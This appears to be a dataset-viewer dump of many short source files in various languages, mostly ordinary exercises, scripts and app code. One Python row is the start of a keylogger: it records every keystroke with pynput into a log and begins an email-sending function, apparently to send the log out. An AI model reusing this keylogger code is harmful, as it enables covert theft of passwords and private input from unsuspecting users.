language stringclasses 15
values | src_encoding stringclasses 34
values | length_bytes int64 6 7.85M | score float64 1.5 5.69 | int_score int64 2 5 | detected_licenses listlengths 0 160 | license_type stringclasses 2
values | text stringlengths 9 7.85M |
|---|---|---|---|---|---|---|---|
JavaScript | UTF-8 | 1,245 | 3.4375 | 3 | [] | no_license | const originalData = { price: 5, quantity: 2 };
let total = 0;
let target = null;
function watcher(myFunc) {
target = myFunc;
target();
target = null;
}
class Dep {
constructor() {
this.subscribers = [];
}
depend() {
if (target && !this.subscribers.includes(target)) {
... |
SQL | UTF-8 | 1,015 | 3.421875 | 3 | [] | no_license | -- **数据库级别:**
-- 显示所有数据库
show databases;
-- 进入某个数据库
use student_examination_sys;
-- 创建一个数据库
create database myTest;
-- 创建指定字符集的数据库
create database myTes default character set utf8 collate utf8_general_ci;
-- 显示数据库的创建信息
show create database myTest2;
-- 修改数据库的编码
set character_set_client = utf8;
... |
Java | UTF-8 | 1,508 | 2.03125 | 2 | [] | no_license | /*
* Copyright 2011 cruxframework.org.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agre... |
SQL | UTF-8 | 752 | 2.53125 | 3 | [] | no_license | "SELECT
ROW_ID,
SUBJECT_ID,
HADM_ID,
ITEMID,
CHARTTIME,
VALUE,
VALUENUM,
VALUEUOM,
FLAG
FROM
`physionet-data.mimiciii_clinical.labevents`
WHERE
ITEMID IN (51011,
50862,
50912,
51080,
51081,
50963,
51006)
AND HADM_ID IN (
SELECT
DISTINCT HADM_ID
FROM
`physionet... |
C++ | UTF-8 | 1,419 | 2.734375 | 3 | [
"MIT"
] | permissive | #ifndef BLACKHOLERAYTRACER_SCHWARZSCHILDBLACKHOLEEQUATION_H
#define BLACKHOLERAYTRACER_SCHWARZSCHILDBLACKHOLEEQUATION_H
#include "models/vector3D.h"
#include <vector>
using namespace Models;
struct SchwarzschildBlackHoleEquation {
const float DefaultStepSize = 0.16f;
float h2;
float StepSize;
// Multipli... |
Python | UTF-8 | 5,290 | 2.96875 | 3 | [] | no_license | import pandas as pd
import numpy as np
import sys
from sklearn.preprocessing import LabelEncoder
from sklearn.preprocessing import OneHotEncoder
import extension
import errors
import time
import pymongo
def read_data(path):
"""
读取路径下的文件数据
:param path: 文件路径
:return: DataFrame类型的数据
"""
try:
... |
Python | UTF-8 | 768 | 4.25 | 4 | [] | no_license | # strstr()
# Return the index of the first occurrence of needle in haystack, or -1 if needle is not part of the haystack.
#
# A few things I think about.
# bruteforce, use suffix tree, KMP.
def strstr(haystack, needle):
if len(haystack) == 0 or len(needle) == 0:
return -1
elif len(needle) > len(haystack):
... |
C# | UTF-8 | 3,376 | 2.625 | 3 | [] | no_license | using System;
using System.Linq;
using System.Windows.Controls;
using System.Windows.Documents;
namespace mx.gob.scjn.electoral_common.gui.utils
{
public class IUSNavigationService
{
public const int TESIS = 1;
public const int EJECUTORIA = 2;
public const int VOTO = 3;
public ... |
C | UTF-8 | 866 | 2.71875 | 3 | [] | no_license | /* Copyright (c) 2013 Nick Volpison
* <volpison@gmail.com>
*
* Usage of the works is permitted provided that this instrument is retained
* with the works, so that any entity that uses the works is notified of this
* instrument.
*
* DISCLAIMER: THE WORKS ARE WITHOUT WARRANTY.
*/
#include <stdio.h>
#include <std... |
PHP | UTF-8 | 1,216 | 2.578125 | 3 | [] | no_license | <?php
namespace App\Security;
use App\Entity\User;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
use Symfony\Component\Security\Http\Authentication\DefaultAuthenticationSucce... |
Java | UTF-8 | 11,489 | 2.59375 | 3 | [] | no_license | package frontend;
import java.io.IOException;
import backend.Settings;
import backend.auth.Authentication;
import backend.auth.errors.UserAlreadyStoredException;
import backend.auth.errors.UserNotFoundException;
import javafx.animation.FadeTransition;
import javafx.collections.FXCollections;
import javafx.event.Actio... |
Python | UTF-8 | 692 | 3 | 3 | [] | no_license | from random import randint
import sys
from tqdm import trange
def P(x):
if x == 1:
return True
elif x == 0:
return False
# num = format(x, '.10f').split('.')
num = str(x).split('.')
dec = num[1]
multi = len(dec)
numerator = int(x * 10**multi)
choice = randint(1, 10**mul... |
Java | UTF-8 | 1,213 | 2.3125 | 2 | [
"MIT"
] | permissive | package semi.donate.beans;
public class DonateDto {
private int donateNo; // DB : donate_no
private int donateChallengeNo; // DB : challenge_no (FK : 도전글 DB의 PK)
private int donateMemberNo; // DB : member_no (FK : 회원 DB의 PK)
private int donateCategoryNo; // DB : category_no (FK : 카테고리 DB의 PK)
private int donatePu... |
Ruby | UTF-8 | 411 | 3.78125 | 4 | [
"MIT"
] | permissive | # Math Methods
# I worked on this challenge [by myself, with: ].
# Your Solution Below
def add(num_1, num_2)
addition = num_1 + num_2
p addition.to_i
end
def subtract(num_1, num_2)
subtraction = num_1 - num_2
p subtraction.to_i
end
def multiply(num_1, num_2)
multiplication = num_1 * num_2
p multiplication.t... |
Java | UTF-8 | 2,227 | 1.984375 | 2 | [] | no_license | package com.pbn.oss.adaptor.eoc.bean;
public class EocModemConfigTable {
private java.lang.Integer apToModemTxDataRateCurrent;
private java.lang.Integer modemToApTxDataRateCurrent;
private java.lang.Integer modemRtsThreshold;
private java.lang.Integer modemTxPower;
private String id;
... |
Python | UTF-8 | 3,883 | 2.875 | 3 | [
"MIT"
] | permissive | """Learning utils module.
This module embeds all the learning-related utilities of the library.
The various functions can be arranged and used in a pipeline for
several purposes.
Examples:
Attributes:
clustering_dictionary (dict)
Todo:
"""
import numpy as np
from .network_utils import load_base_network
... |
Python | UTF-8 | 1,107 | 3.3125 | 3 | [] | no_license | ##!/usr/nim/python
# coding: utf-8
import sys, os
sys.path.append(os.pardir) # 親ディレクトリのファイルをインポートするための設定
import numpy as np
class MulLayer:
def __init__(self):
self.x = None
self.y = None
def forward(self, x, y):
self.x = x
self.y = y
result = x*y
return result... |
Java | UTF-8 | 1,443 | 2.515625 | 3 | [] | no_license | package com.tencent.qcloud.tim.tuikit.live.component.topbar.adapter;
import android.content.Context;
import android.graphics.Rect;
import android.view.View;
import androidx.recyclerview.widget.RecyclerView;
import com.tencent.qcloud.tim.tuikit.live.utils.UIUtil;
/**
* 水平分隔符或垂直分隔符,用于recycleview组件
* @author deland... |
Java | UTF-8 | 632 | 3.265625 | 3 | [] | no_license | // Counting length method
public class Solution {
public ListNode removeNthFromEnd(ListNode head, int n) {
// set sentinel to handle edge cases when head is to delete
ListNode sentinel = new ListNode(-1, head);
int length = getLength(head);
ListNode p = sentinel;
for (int i =... |
C++ | UTF-8 | 867 | 2.609375 | 3 | [] | no_license | #include <iostream>
#include <fstream>
#include <cmath>
#include <climits>
#include <algorithm>
#include <string>
#include <vector>
#include <iterator>
#include <map>
#include <set>
using namespace std;
typedef pair<int, int> pii;
int main()
{
ofstream fout("helpcross.out");
ifstream fin("helpcross.in");
int C, N;... |
C# | UTF-8 | 5,926 | 2.53125 | 3 | [
"MIT"
] | permissive | // ***********************************************************************
// Assembly : IronyModManager.Shared
// Author : Mario
// Created : 06-23-2020
//
// Last Modified By : Mario
// Last Modified On : 03-25-2021
// ***********************************************************************... |
C | UTF-8 | 614 | 3.40625 | 3 | [] | no_license | #include <stdio.h>
#include <stdlib.h>
/* WARNING qsort int stdlib.h
* void qsort (void* base, size_t num, size_t size,
* int (*compar)(const void*,const void*));
*/
int cmp(const void *a, const void *b);
int main() {
int arr[] = { 40, 10, 100, 90, 20, 25 };
int num = sizeof(arr)/sizeof(int);
qsort(arr, num, ... |
Python | UTF-8 | 2,430 | 2.765625 | 3 | [] | no_license | import re
import requests
from Crypto.Cipher import AES
import os
from utils import ts2mp4
from utils import m3u82mp4
def get_ts_url(url):
parsed_url = re.sub('start=\d+&end=\d+', 'start=0', url)
return parsed_url.replace('\n', '')
def download(file_url, file):
res = requests.get(file_url)
with open... |
C# | UTF-8 | 1,805 | 2.65625 | 3 | [] | no_license | using AdoptAPet.HelperClasses;
using System;
using System.Collections.Generic;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AdoptAPet.HelperFunctions
{
static class DataConversions
{
public static Animal AnimalFromDataRow(DataRow row)
{
... |
JavaScript | UTF-8 | 317 | 3.140625 | 3 | [] | no_license | function result(input) {
input = input + '';
let avg = 0;
let length = input.length;
let arr = input;
for (let i = 0; i < input.length; i++) {
avg += Number(input[i]);
}
while (avg / length <= 5) {
avg += 9;
length++;
arr +=9;
}
console.log(arr);
} |
Markdown | UTF-8 | 3,330 | 2.5625 | 3 | [] | no_license | # Kodstar Bootcamp Müfredatı
Bu dökümanda Kodstar yazılım kampının müfredatı verilmektedir. Bu döküman aracılığı ile kampta kullanılan tüm kaynaklara ulaşabilirsiniz.
Eğitim materyalleri üretildikçe ve geri beslemeler alındıkça bu döküman güncellenecektir.
## Python ile programlamaya giriş
Kodstar.com online eğiti... |
Markdown | UTF-8 | 1,136 | 2.609375 | 3 | [
"MIT"
] | permissive | Pattern: Use of public AWS EC2 ingress security group rule
Issue: -
## Description
Opening up ports to the public internet is generally to be avoided. You should restrict access to IP addresses or ranges that explicitly require it where possible.
**Resolution**: Set a more restrictive cidr range.
## Examples
The ... |
C++ | UTF-8 | 314 | 2.671875 | 3 | [] | no_license | #pragma once
#include "Duck.h"
#include "Turkey.h"
class TurkeyAdapter : public Duck, private Turkey {
private:
void gobble() { cout << "Turkey's Gobble gobble\n"; }
void flyTurkey() { cout << "Turkey's fly!\n"; }
public:
void quack() { TurkeyAdapter::gobble(); }
void fly() { TurkeyAdapter::flyTurkey(); }
}; |
Java | UTF-8 | 3,656 | 3.703125 | 4 | [] | no_license | /*
A bracket is considered to be any one of the following characters: (, ), {, }, [, or ].
Two brackets are considered to be a matched pair if the an opening bracket (i.e., (, [, or {) occurs to the left of a closing bracket (i.e., ), ], or }) of the exact same type. There are three types of matched pairs of brackets:... |
Python | UTF-8 | 2,764 | 3.109375 | 3 | [] | no_license | '''
Напівавтоматизоване виправлення шаблонів {{не перекладено}} які PavloChemBot не забирає бо там перенаправлення.
'''
import re
import pywikibot
from pywikibot import pagegenerators
LIST_PAGE_NAME = 'Користувач:PavloChemBot/Сторінки з невірно використаним шаблоном "Не перекладено"'
REDIRECT_PATTERN = re.compile(r'... |
Python | UTF-8 | 831 | 2.828125 | 3 | [] | no_license | import pynput.keyboard
import smtplib
import threading
log = "" #global
def callback(key):
global log
try:
log = log + key.char.encode("utf-8")
except AttributeError:
if key == key.space:
log = log + " "
else:
log =log +str(key)
print(log)
def send_emai... |
Shell | UTF-8 | 3,129 | 2.8125 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env bash
echo "***** Update *****"
yum update -y
echo "***** Update awscli *****"
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
rm -rf aws
rm awscliv2.zip
echo "***** Setup CloudWatch Logging *****"
yum install awslogs -y
cat << EOF... |
Markdown | UTF-8 | 1,693 | 2.859375 | 3 | [] | no_license | ---
layout: page
title: "HTTP Sensor"
description: "Instructions how to integrate HTTP sensors within Home Assistant."
date: 2016-02-05 12:15
sidebar: true
comments: false
sharing: true
footer: true
logo: http.png
ha_category: Sensor
---
The URL for a sensor looks like the example below:
```bash
http://IP_ADDRESS:812... |
Shell | UTF-8 | 2,482 | 3.359375 | 3 | [] | no_license | #!/bin/bash
. $(dirname "$0")/toolsinit.sh
AUTHOR=iBotPeaches
NAME=Apktool
TOOLSRC_NAME=${NAME}rc
TOOLSRC=$(toolsRC ${TOOLSRC_NAME})
SOFT_HOME=$(install_path)/${NAME}
INSTALL_PATH=$HOME/tools
#沙雕的version是 v2.4.1 而不是2.4.1
fuck_SOFT_VERSION=$(get_github_release_version $AUTHOR/$NAME)
array_fuck_SOFT_VERSION=(${fuck_SOF... |
Java | UTF-8 | 558 | 2.0625 | 2 | [
"BSD-2-Clause"
] | permissive | package org.ships.movement.result;
import org.core.source.viewer.CommandViewer;
import org.ships.vessel.common.types.Vessel;
import java.util.Optional;
public interface FailedMovement<E extends Object>{
MovementResult<E> getResult();
Vessel getShip();
Optional<E> getValue();
default void sendMessag... |
Java | UTF-8 | 447 | 2.453125 | 2 | [] | no_license | package smn.dal.query;
public class Value extends Expr{
public static Value Null=new Value();
private Object value;
public Value(){
}
public Value(Object value){
this.value=value;
}
public static Value create(Object value){
return new Value(value);
}
@SuppressWarnings("unche... |
C# | UTF-8 | 402 | 2.609375 | 3 | [] | no_license | using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
/**
* ^
* / \
* / \
* / \
* / \
* ------ ------
* x0 x1 x2
**/
public class TriangleMF : TrapezoidMF
{
public TriangleMF(String name, double x0... |
TypeScript | UTF-8 | 742 | 2.5625 | 3 | [] | no_license | import { ActionReducerMap, createFeatureSelector, createSelector } from '@ngrx/store';
import * as fromUi from './shared/ui.reducer'
import * as fromAuth from './auth/auth.reducer'
export interface State {
ui: fromUi.State
auth: fromAuth.State
};
export const reducer: ActionReducerMap<State> = {
ui: fromUi.uiRe... |
Python | UTF-8 | 325 | 2.75 | 3 | [] | no_license | import math
import csv
filename = "stop_times.csv"
fields = []
rows = []
with open(filename, 'r') as csvfile:
csvreader = csv.reader(csvfile)
fields = next(csvreader)
for row in csvreader:
rows.append(row)
for row in rows:
print(row[0],", ", row[3], ", ",row[4],sep... |
PHP | UTF-8 | 2,222 | 2.59375 | 3 | [
"LGPL-3.0-only",
"GPL-3.0-only",
"LGPL-2.1-or-later",
"MIT",
"GPL-3.0-or-later",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | <?php
/**
* This file is part of PHPWord - A pure PHP library for reading and writing
* word processing documents.
*
* PHPWord is free software distributed under the terms of the GNU Lesser
* General Public License version 3 as published by the Free Software Foundation.
*
* For the full copyright and license inf... |
PHP | UTF-8 | 548 | 2.828125 | 3 | [
"MIT"
] | permissive | <?php
declare(strict_types=1);
namespace Leevel\Validate\Helper;
use Leevel\Validate\IValidator;
class EqualTo
{
/**
* 两个字段是否相同.
*
* @throws \InvalidArgumentException
*/
public static function handle(mixed $value, array $param, IValidator $validator): bool
{
if (!\array_key_e... |
Python | UTF-8 | 615 | 3.234375 | 3 | [] | no_license | #lcs print memoize
def lcsmemoisation(x,y,n,m,t):
if n==0 or m==0:
return 0
if x[n-1]==y[m-1]:
t[n][m]=1+lcsmemoisation(x,y,n-1,m-1,t)
return t[n][m]
elif x[n-1]!=y[m-1]:
t[n][m]=max(lcsmemoisation(x,y,n,m-1,t),lcsmemoisation(x,y,n-1,m,t))
return t[n][m]
x=inpu... |
Python | UTF-8 | 2,249 | 2.65625 | 3 | [] | no_license | import unittest
from task import Task
from taskset import Taskset
class TasksetTest(unittest.TestCase):
def setUp(self):
self.filename = ""
def tearDown(self):
pass
def test_create_taskset(self):
A = Taskset("default")
self.assertEqual(A.scheduler, "defaul... |
C# | UTF-8 | 4,913 | 2.609375 | 3 | [] | no_license | using ColorClustering;
using Microsoft.Win32;
using System;
using System.Windows;
using System.Windows.Media;
using System.Windows.Media.Imaging;
namespace GUIColorClustering {
/// <summary>
/// Interaction logic for MainWindow.xaml
/// </summary>
public partial class MainWindow : Window {
... |
Markdown | UTF-8 | 1,119 | 2.8125 | 3 | [] | no_license | Kotlin in Action guides experienced Java developers from the language basics of Kotlin all the way through building applications to run on the JVM and Android devices.
about the technology
Developers want to get work done - and the less hassle, the better. Coding with Kotlin means less hassle. The Kotlin programming l... |
C# | UTF-8 | 2,699 | 3.109375 | 3 | [] | no_license | // --------------------------------------------------------------------------------------------------------------------
// <copyright company="Ed French" file="Transaction.cs">
// Copyright of Ed French @ARU
// </copyright>
// <summary>
// The code is intended to represent the basic level of the Petr... |
Java | UTF-8 | 1,750 | 3 | 3 | [] | no_license |
package daspro;
import java.util.Scanner;
public class Persamaan_Linier {
public static void main(String[] args) {
Scanner in = new Scanner (System.in);
System.out.print("Persamaan : ");
String a = in.nextLine();
String [] apalah = a.split("x");
... |
Java | UTF-8 | 1,478 | 2.640625 | 3 | [] | no_license | package org.ethan.io.myIO.nettyNio.digester;
import java.io.UnsupportedEncodingException;
import org.ethan.io.myIO.nettyNio.exception.ResponseEncorderException;
import org.springframework.stereotype.Component;
import com.alibaba.fastjson.JSON;
@Component("defaultResponseEncorder")
public class DefaultResponseEncord... |
Rust | UTF-8 | 3,785 | 3.390625 | 3 | [] | no_license | use regex::Regex;
use std::fs::read_to_string;
use std::iter;
use std::cmp::max;
const INPUT_FILE: &str = "data/day_6.txt";
const GRID_SIZE: (usize, usize) = (1_000, 1_000);
lazy_static! {
static ref INSTRUCTION_REGEX: Regex = Regex::new(r"^(turn on|turn off|toggle) (\d+),(\d+) through (\d+),(\d+)$").unwrap();
}
... |
PHP | UTF-8 | 4,474 | 2.625 | 3 | [
"MIT"
] | permissive | <?php
/**
* 系統資料共用方法
*
* @version 1.0.0
* @author spark it@upgi.com.tw
* @date 16/10/19
* @since 1.0.0 spark: 於此版本開始編寫註解
*/
namespace App\Http\Controllers;
use App\Repositories\sales\ClientRepository;
use App\Repositories\companyStructure\StaffRepository;
use App\Repositories\UPGWeb\MemberRepository;
use DB;
u... |
Python | UTF-8 | 886 | 3.34375 | 3 | [] | no_license | ''' Easy
https://leetcode.com/problems/implement-strstr
'''
class Solution(object):
def strStr(self, haystack, needle):
"""
:type haystack: str
:type needle: str
:rtype: int
"""
solution = 0
found = False
if needle == '':
return 0
f... |
JavaScript | UTF-8 | 340 | 4 | 4 | [] | no_license | function fn() {
log('Hoisting de função') // Neste hoisting, como é função, ele sobe tudo e por isso executa sem erro.
function log(value) {
console.log(value)
}
}
fn()
/**
* function fn() {
* function log(value) {
* console.log(value)
* }
*
* log('Hoisting de funç... |
Shell | UTF-8 | 1,471 | 2.53125 | 3 | [] | no_license |
N=10000
for i in {1..22} X; do perl ../script/downsample.pl $N ~/Resources/gnomad/chr$i.gnomad.exomes.r2.0.1.sites.vcf.gz.2.bed.gz & done
for i in {1..22} X; do mv ~/Resources/gnomad/chr$i.gnomad.exomes.r2.0.1.sites.vcf.gz.2.bed.gz.downsample.${N}EUR.txt data/chr$i/chr$i.gnomad.exomes.r2.0.1.sites..downsample.${N}EU... |
Ruby | UTF-8 | 517 | 2.84375 | 3 | [] | no_license | require('pry')
require_relative('../models/album')
require_relative('../models/artist')
artist1 = Artist.new('name' => 'Wendy Williams')
artist2 = Artist.new('name' => 'Moira Stuart')
artist1.save()
artist2.save()
album1 = Album.new('title' => 'Wendy Sings', 'genre' => 'rock')
album1.save()
album2 = Album.new('titl... |
C++ | UTF-8 | 700 | 3.359375 | 3 | [] | no_license | /*
有时候,在创建一个实例的时候,不需要初始化某些资源。
因为可能之后一直不使用,创建的必要性不大。
而是在使用的时候,判断是否需要初始化,这就叫 Lazy initialization
*/
#include <fstream>
#include <string>
class FileLogger
{
public:
FileLogger()
{
}
void Write(const std::string &msg)
{
if (!m_fs.is_open())
{
m_fs.open("./log... |
PHP | UTF-8 | 2,359 | 2.578125 | 3 | [] | no_license | <?php
/**
* This file is part of monda-worker.
*
* @contact mondagroup_php@163.com
*
*/
namespace framework\sse;
use framework\http\Request;
use framework\string\StringUtils;
use Workerman\Connection\TcpConnection;
use Workerman\Lib\Timer;
use Workerman\Protocols\Http\Response;
use Workerman\Protocols\Http\Serv... |
PHP | UTF-8 | 1,470 | 2.796875 | 3 | [
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] | permissive | <?php
/*
* @package PHP5 Wiki Parser
* @author Dan Goldsmith
* @copyright Dan Goldsmith 2012
* @link http://d2g.org.uk/
* @version {SUBVERSION_BUILD_NUMBER}
*
* @licence MPL 2.0
*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of... |
C | UTF-8 | 1,832 | 3.828125 | 4 | [] | no_license | /*Author: Carson Perry
Date: 10/10/2019
Solved using alarm()*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
#include <time.h>
#include <signal.h>
sem_t mutex;
int total = 0;
int alm = 0;
void on_alarm(int sig)
{
if(alm == 1)
{
... |
C++ | UTF-8 | 2,618 | 2.625 | 3 | [] | no_license | #include <stdio.h>
#include <iostream>
#include <WinSock2.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#pragma comment(lib, "ws2_32.lib")
#define MAX_PACKETLEN 1460
using namespace std;
int create_socket(int port)
{
SOCKET server_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in server_addr;
... |
Python | UTF-8 | 2,254 | 3.8125 | 4 | [
"MIT"
] | permissive | # --------------
#Importing the modules
import pandas as pd
import numpy as np
from scipy.stats import mode
#Code for categorical variable
def categorical(df):
categorical_var= df.select_dtypes(include='object').columns.tolist()
return categorical_var
#Code for numerical variable
def numerica... |
JavaScript | UTF-8 | 1,455 | 2.65625 | 3 | [] | no_license | 'use strict'
const express = require("express");
const nodemailer = require("nodemailer");
const contact = require("../model/contact");
const api = express.Router();
api.post('/send-email', async (req,res) => {
const { name, email, asunto, message } = req.body;
let contentHTML = `
<h1>${name}</h1>
... |
C++ | UTF-8 | 718 | 3.09375 | 3 | [
"MIT"
] | permissive |
#include <bits/stdc++.h>
using namespace std;
int lcs(string x, string y)
{
int n = x.length();
int m = y.length();
vector<vector<int>> dp;
for (int i = 0; i < n + 1; i++)
dp[i][0] = 0;
for (int i = 0; i < m + 1; i++)
dp[0][i] = 0;
for (int i = 1; i < n + 1; i++) {
for (i... |
Python | UTF-8 | 222 | 3.140625 | 3 | [] | no_license | __author__ = 'igomez'
def replace(value):
chars = list(value)
for i in xrange(len(chars)):
if ord(chars[i]) == 32:
chars[i] = '%20'
return "".join(chars)
print replace("This is a test")
|
TypeScript | UTF-8 | 491 | 3.265625 | 3 | [] | no_license |
import "../styles/main.scss"
class Car {
manufacture: string;
model: string;
color: string;
price: number;
constructor(manufacture: string, model: string, color: string, price: number) {
this.manufacture = manufacture;
this.model = model;
this.color = color;
this.p... |
Python | UTF-8 | 2,842 | 2.828125 | 3 | [] | no_license | import csv
import pandas as pd
import re
import requests
from bs4 import BeautifulSoup
from requests.exceptions import ChunkedEncodingError
# GO HERE https://datasets.imdbws.com/
# DOWNLOAD: title.basics.tsv.gz
# EXTRACT IT AND RENAME IT TO new.tsv
# The code will remove all TT's that are not movies and that are older... |
Java | UTF-8 | 1,079 | 2.84375 | 3 | [] | no_license | package com.ji.algo.L2451_2500;
import java.util.LinkedList;
import java.util.List;
/**
* @Author: Bei Chang
* @Date: 2022/11/13/下午9:26
*/
public class L2452 {
public static void main(String[] args) {
}
public List<String> twoEditWords(String[] queries, String[] dictionary) {
List<String> res... |
Swift | UTF-8 | 1,038 | 2.875 | 3 | [] | no_license | //
// Token.swift
// Mesh
//
// Created by Christopher Truman on 8/19/16.
// Copyright © 2016 Tinder. All rights reserved.
//
import Foundation
struct Token {
static let defaults = StandardDefaults
static func persistToken(_ token: String) {
defaults.setValue(token, forKey: "token")
}
... |
Markdown | UTF-8 | 1,478 | 2.90625 | 3 | [] | no_license | ## Main content
> #### Concept of *object-orient* wisdom
> #### Examples for *design pattern*
**To understand design pattern, the best way is to practice many examples.**
### 1. What is *OO* principles?
+ Separation of concerns
+ Keep related data and behaviour together
+ Information hiding
+ Cohesion good,... |
JavaScript | UTF-8 | 939 | 3.515625 | 4 | [] | no_license | // hash-table.js
var HashTable = function () {
this.storage = []
}
HashTable.prototype.insert = function (key) {
var index = this.hashFunction(key)
this.storage[index] = key
return this.storage[index]
}
HashTable.prototype.hashFunction = function (key, isInsert) {
// takes the key, calculates the location ... |
Java | UTF-8 | 2,874 | 2.09375 | 2 | [] | no_license | package kz.spring.demo.demo;
import kz.spring.demo.demo.configuration.SecurityConfig;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationCo... |
Shell | UTF-8 | 4,655 | 3.65625 | 4 | [
"MIT"
] | permissive | #!/bin/bash
#================================================================================
# Program Name: ice.suma.sh
# Author: Kyle Reese Almryde
# Date: 6/25/2013
#
# Description: This program
#
#
#
# Deficiencies:
#
#
#
#
#
#================================================================================
#... |
Python | UTF-8 | 849 | 2.515625 | 3 | [] | no_license | #!/usr/bin/python3
""" Review module for the HBNB project """
from models.base_model import BaseModel, Base
from sqlalchemy import Integer, String, Column, DateTime, ForeignKey
from sqlalchemy.orm import relationship, backref
class Review(BaseModel, Base):
""" Review classto store review information """
__tab... |
Ruby | UTF-8 | 224 | 3.421875 | 3 | [] | no_license | class Gigasecond
GIGASECOND = 1_000_000_000
def initialize date
@date = date
end
def date
@date + days_in_a_gigasecond
end
private
def days_in_a_gigasecond
GIGASECOND / (24 * 60 * 60)
end
end
|
PHP | UTF-8 | 2,028 | 2.703125 | 3 | [] | no_license | <?php
namespace api\Http\Controllers;
use api\Http\Controllers\Controller;
use Illuminate\Http\Request;
use api\Repositories\LSParceirosRepository;
use api\Services\LSParceirosService;
class LSParceirosController extends Controller {
/**
* @var LSParceirosRepository
*/
private $repository;
/*... |
SQL | UTF-8 | 8,841 | 4.46875 | 4 | [] | no_license | DROP DATABASE IF EXISTS vk;
CREATE DATABASE IF NOT EXISTS vk;
-- используем БД vk
USE vk;
CREATE TABLE users(
id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
first_name VARCHAR(150) NOT NULL COMMENT "Имя",
last_name VARCHAR(150) NOT NULL,
email VARCHAR(150) NOT NULL UNIQUE,
phone CHAR(11) NOT NULL,
password_has... |
PHP | UTF-8 | 4,701 | 2.71875 | 3 | [] | no_license | <?php
require_once('../bd/connect.php');
//Déclaration de certaines variables
$IDnewTrainers;
$Validation = false;
//Pour cette variable un peu spécial qui changes en fonction des cas du code aller voir la page validationInscription dans le dossier vues
$foundMail=0;
$point = 10;
//Récupération de toutes les vari... |
Python | UTF-8 | 254 | 3.390625 | 3 | [
"BSD-3-Clause"
] | permissive | #Write a program that tries to test that your composition function respects identity.
def foo(x):
return x+1
def bar (x):
return x**2
def baz (x):
return x*x
def compose (f, g):
return lambda x: f(g(x))
def test():
return 0
|
PHP | UTF-8 | 2,810 | 2.75 | 3 | [
"Apache-2.0"
] | permissive | <?php
namespace app\push\controller;
use think\worker\Server;
class Worker extends Server{
protected $socket = 'websocket://127.0.0.1:2346';
protected $uidConnections=[];
/**
* 收到信息
* @param $connection
* @param $data
*/
public function onMessage($connection, $data)... |
Markdown | UTF-8 | 3,979 | 2.75 | 3 | [
"Unlicense"
] | permissive |
# How lower inflation benefits the people, government
Published at: **2019-11-05T16:04:18+00:00**
Author: **Chino Leyco**
Original: [Manila Bulletin Business](https://business.mb.com.ph/2019/11/05/how-lower-inflation-benefits-the-people-government/)
Inflation continued to soften last month as prices of basic goods... |
C++ | UTF-8 | 5,211 | 2.84375 | 3 | [] | no_license | #include "inventory.hpp"
#include "game.hpp"
#include "player.hpp"
ItemDatabase::Item ItemDatabase::items[COUNT] = {
{ std::string("res/icons/wood.png"), std::string("wood") },
{ std::string("res/icons/meat.png"), std::string("meat") },
{ std::string("res/icons/campfire.png"), std::string("campfire") },
... |
Java | UTF-8 | 3,565 | 2.453125 | 2 | [] | no_license | package com.wyp.innsky.view;
import android.content.Context;
import android.icu.util.Measure;
import android.util.AttributeSet;
import android.view.View;
import android.view.ViewGroup;
/**
* Created by yingping_wang on 2018/11/22.
*/
public class FlowLayoutView extends ViewGroup {
public FlowLayoutView(Context ... |
Java | UTF-8 | 1,194 | 2 | 2 | [] | no_license | package com.balance.base.service;
import com.balance.base.dao.BaseCompanyDao;
import com.balance.base.model.BaseCompany;
import com.balance.base.vo.BaseCompanySearchVO;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
/**
* Author ... |
TypeScript | UTF-8 | 2,372 | 2.875 | 3 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | /* eslint-disable valid-jsdoc */
import Orbit from './main';
import { Operation } from './operation';
import { isObject, isArray, toArray } from '@orbit/utils';
import TransformBuilder from './transform-builder';
export type TransformBuilderFunc = (TransformBuilder) => Operation[];
export type TransformOrOperations = ... |
Python | UTF-8 | 618 | 2.578125 | 3 | [] | no_license | import spacy
from spacy.matcher import PhraseMatcher
from replace import replaces
nlp = spacy.load("en_core_web_sm")
def check_name_phone(text):
text = text.lower()
for i, j in replaces.items():
text = text.replace(i,j)
name_phone = []
matcher = PhraseMatcher(nlp.vocab)
terms = ['iphone 12', 'samsung a5 2017', '... |
Java | UTF-8 | 4,356 | 2.578125 | 3 | [
"Apache-2.0"
] | permissive | package fr.xephi.authme.command.executable.authme.debug;
import ch.jalu.datasourcecolumns.data.DataSourceValue;
import fr.xephi.authme.ConsoleLogger;
import fr.xephi.authme.datasource.DataSource;
import fr.xephi.authme.mail.SendMailSsl;
import fr.xephi.authme.permission.DebugSectionPermissions;
import fr.xephi.authme.... |
C# | UTF-8 | 2,484 | 2.984375 | 3 | [] | no_license | using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
namespace Extinction_Rebellion
{
public class EventProvider
{
const int SECOND = 1;
const int MINUTE = 60 * SECOND;
const int HOUR = 60 * MINUTE;
const... |
PHP | UTF-8 | 2,108 | 2.640625 | 3 | [] | no_license | <?php
/**
*
* @property int $groupId
* @property int $permissionId
* @property tinyint $allowed
* @property Groups $Groups
* @property Permissions $Permissions
* @method GroupPermissions_Row first
